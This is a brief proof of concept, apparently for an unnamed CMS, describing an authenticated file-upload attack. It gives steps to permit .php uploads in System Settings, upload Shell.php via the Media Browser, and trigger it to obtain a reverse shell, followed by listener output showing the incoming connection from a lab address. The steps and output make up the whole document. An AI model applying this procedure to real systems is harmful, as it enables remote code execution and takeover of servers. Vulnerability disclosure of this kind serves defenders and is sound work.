#Step1- Login with Admin Credentials
#Step2- Uploading .php files is disabled by default hence we need to abuse the functionality:
        Add the php file extension under the "Uploadable File Types" option available in "System Settings" 
#Step3- Now Goto Media=>Media Browser and upload the Shell.php
#Step4- Now visit http://IP_Address/Shell.php and get the reverse shell:

listening on [any] 4477 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 58056
bash: cannot set terminal process group (1445): Inappropriate ioctl for device
